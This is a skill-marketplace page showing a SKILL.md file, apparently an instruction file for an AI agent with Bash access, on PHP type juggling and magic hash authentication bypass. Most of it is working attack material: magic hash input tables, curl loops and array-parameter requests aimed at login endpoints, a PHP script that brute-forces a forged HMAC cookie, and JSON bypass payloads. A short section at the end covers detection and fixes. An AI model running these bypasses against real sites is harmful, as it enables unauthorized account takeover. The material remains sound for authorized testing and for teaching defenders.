Skip to main content

php-type-juggling

PHP type juggling and magic hash attacks — exploit loose comparison (==) with 0e-prefixed hash collisions and NULL returns to bypass authentication.

Quellinformationen

Repository
BitterSecurity/Decepticon
Letzte Quellaktivität
30. Mai 2026 um 01:29
Erkannte Sprache von SKILL.md
Englisch
Sterne
5.912
Forks
1.122

Installationsoptionen

Standardmäßig ist der Prompt ausgewählt, der zuerst die Quelle prüft. Sie können zu einem direkten Befehl wechseln oder eine lokale Kopie herunterladen.

Quelldateien prüfen

Lesen Sie SKILL.md und alle von SkillsMP angezeigten Begleitdateien, bevor Sie sich für eine Installation entscheiden.

SKILL.md wird angezeigt

SKILL.md
Quellanweisungen · Schreibgeschützte Vorschau
name
php-type-juggling
description
PHP type juggling and magic hash attacks — exploit loose comparison (==) with 0e-prefixed hash collisions and NULL returns to bypass authentication.
allowed-tools
Bash Read Write
metadata
{"subdomain":"authentication","when_to_use":"php type juggling, loose comparison, magic hash, 0e hash, strcmp bypass, php authentication bypass, hash collision php, php == comparison, md5 collision, sha1 collision","tags":"web-application, php, authentication-bypass, type-juggling, magic-hash, loose-comparison","mitre_attack":"T1190, T1606.001"}
# PHP Type Juggling and Magic Hash Attacks > **Authorized-use only.** Only test systems you own or have explicit written permission to test. Unauthorized exploitation violates computer-fraud laws worldwide. PHP is a loosely typed language. When comparing values with `==` (loose) rather than `===` (strict), PHP coerces types — a string beginning with `0e` followed only by digits is treated as scientific notation and equals `0`. An attacker who controls one side of a comparison can force equality with predictable hash outputs ("magic hashes"), bypass HMAC checks, or exploit NULL returns from type errors. Affects PHP 5.x–7.x broadly; PHP 8.0+ fixed most numeric-string comparisons but edge cases remain. ## ATT&CK Mapping | Technique | Notes | |-----------|-------| | T1190 | Exploit public-facing application — auth bypass via comparison flaw | | T1606.001 | Forge web credentials — force authentication with crafted hash values | ## 1. Loose Comparison Cheat Sheet ``` '0010e2' == '1e3' → true (both evaluate as float 1000) '123' == 123 → true (string cast to int) '123abc' == 123 → true (leading numeric string) 'abc' == 0 → true (non-numeric string == 0 in PHP 5/7) '' == 0 → true 0 == false → true false == NULL → true NULL == '' → true md5([]) == NULL → true (NULL == any string starting with 0e) sha1([]) == NULL → true ``` PHP 8.0 change: `'abc' == 0` now evaluates to `false`. Check target PHP version before assuming string-zero bypass. ## 2. Magic Hashes — 0e Collisions When a hash output starts with `0e` followed only by digits, PHP's `==` comparison treats it as float `0`. Two such hashes are "equal" under `==` regardless of their actual values. ### MD5 Magic Strings | Input | MD5 Hash | |-------|----------| | `240610708` | `0e462097431906509019562988736854` | | `QNKCDZO` | `0e830400451993494058024219903391` | | `0e1137126905` | `0e291659922323405260514745084877` | | `0e215962017` | `0e291242476940776845150308577824` | | `aabg7XSs` | `0e087386482136013740957780965295` | ### SHA-1 Magic Strings | Input | SHA-1 Hash | |-------|-----------| | `10932435112` | `0e07766915004133176347055865026311692244` | | `aaroZmOk` | `0e66507019969427134894567494305185566735` | | `aaK1STfY` | `0e76658526655756207688271159624026011393` | ### SHA-224 / SHA-256 Magic Strings | Hash | Input | Output | |------|-------|--------| | SHA-224 | `10885164793773` | `0e281250946775200129471613219196999537878926740638594636` | | SHA-256 | `34250003024812` | `0e46289032038065916139621039085883773413820991920706299695051332` | | SHA-256 | `TyNOQHUS` | `0e66298694359207596086558843543959518835691168370379069085300385` | ### Exploitation ```bash # Login bypass — submit a magic hash input instead of the real password # Server code: if (md5($input) == $stored_hash) { login() } # If $stored_hash is also a 0e... hash, any 0e... input collides. # Try magic inputs against a login endpoint for magic in "240610708" "QNKCDZO" "0e1137126905" "aabg7XSs"; do echo -n "Trying $magic: " curl -si "https://target.example.com/login" \ -d "username=admin&password=${magic}" \ | grep -E "Location:|Set-Cookie:|Welcome|dashboard" | head -2 done ``` ## 3. NULL Bypass via Array Input `md5([])` and `sha1([])` in PHP 5/7 return `NULL` with a warning. Under loose comparison, `NULL == ''` is true. If the server compares `md5($input) == ''` or similar: ```bash # Send array input to hash functions — triggers NULL return curl -si "https://target.example.com/login" \ -d "username=admin&password[]=" \ | grep -E "Location:|Set-Cookie:|error" # POST with array notation curl -si "https://target.example.com/verify" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "hash[]=&user=admin" \ | grep -i "success\|error\|redirect" ``` ## 4. strcmp() Return Value Bypass `strcmp()` returns `0` (equal) on success, non-zero otherwise. Under loose comparison, `strcmp($input, $secret) == 0` can be bypassed by passing an array (returns NULL, and `NULL == 0` is true in PHP 5/7): ```bash # Bypass strcmp-based password check # Server: if (strcmp($_POST['pass'], $secret) == 0) { ... } curl -si "https://target.example.com/login" \ -d "username=admin&pass[]=" \ | grep -iE "success|welcome|redirect|Location" ``` ## 5. HMAC Brute-Force for 0e Collision (Magic HMAC) When a cookie HMAC is verified with loose comparison against `"0"`, an attacker brute-forces an expiration timestamp until `hash_hmac('md5', payload, key)` produces a `0e...` string — which equals `"0"` under `==`. This works when the key is empty or known (e.g., leaked via `.env`). ```bash # PHP script to find a magic HMAC timestamp (empty key example) # Run: php find_magic_hmac.php cat > /tmp/find_magic_hmac.php << 'EOF' <?php $username = 'admin'; $key = ''; // replace with known key or empty string leak for ($i = 1424869663; $i < 1835970773; $i++) { $out = hash_hmac('md5', $username . '|' . $i, $key); if (str_starts_with($out, '0e') && ctype_digit(substr($out, 2))) { echo "Found: expiration=$i hash=$out\n"; break; } } EOF php /tmp/find_magic_hmac.php # Then craft the cookie with hmac=0 and the found expiration # cookie: username=admin; expiration=<found>; hmac=0 ``` ## 6. Type Juggling in JSON APIs JSON deserialization can also introduce juggling issues when PHP converts JSON types to PHP types before comparison: ```bash # Send integer 0 instead of string "false"/"no" curl -si "https://target.example.com/api/verify" \ -H "Content-Type: application/json" \ -d '{"token": 0, "user": "admin"}' \ | grep -iE "success|error|200" # Send true to bypass boolean checks curl -si "https://target.example.com/api/verify" \ -H "Content-Type: application/json" \ -d '{"admin": true, "role": "admin"}' \ | grep -iE "success|error|200" ``` ## 7. Identify Vulnerable PHP Code Patterns ```bash # Grep the target's source (if accessible — e.g., leaked backup, open source app) grep -rn '==[[:space:]]*\(md5\|sha1\|hash\|strcmp\|password_verify\)' /var/www/html/ 2>/dev/null grep -rn 'if.*md5.*==\|if.*sha1.*==' /var/www/html/ 2>/dev/null grep -rn 'strcmp.*==\s*0\|0\s*==.*strcmp' /var/www/html/ 2>/dev/null # Look for PHP version to assess 0e / array bypass viability curl -si "https://target.example.com/info.php" | grep -i "PHP Version" curl -si "https://target.example.com/" | grep -i "x-powered-by" ``` ## 8. Common Targets in the Wild | Application Class | Likely Sink | |-------------------|-------------| | Custom PHP login forms | `md5($pass) == $stored` | | Token validation endpoints | `strcmp($token, $secret) == 0` | | HMAC cookie verifiers | `hmac($cookie) != $supplied` using `==` | | Email unsubscribe links | `md5($email) == $_GET['hash']` | | Admin PIN verification | `sha1($pin) == $db_hash` | ## Detection Notes - PHP 8.0+ resolves `'abc' == 0 → false` and makes `strcmp` throw on array input; PHP 7 and below remain vulnerable - Static analysis: `psalm --taint-analysis`, `phpstan` level 8 flag loose comparisons - Dynamic: supply `[]` for hash/strcmp parameters, observe PHP warning in response or error logs - Fix: always use `===` for hash comparisons and `hash_equals()` for timing-safe HMAC checks ## References - [PayloadsAllTheThings: Type Juggling](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Type%20Juggling) - [OWASP: PHP Type Juggling](https://owasp.org/www-pdf-archive/PHPMagicTricks-TypeJuggling.pdf) - [Magic Hashes — spaze/hashes](https://github.com/spaze/hashes) - [Super Magic Hashes — Almond Consulting](https://offsec.almond.consulting/super-magic-hash.html)
Auf GitHub ansehen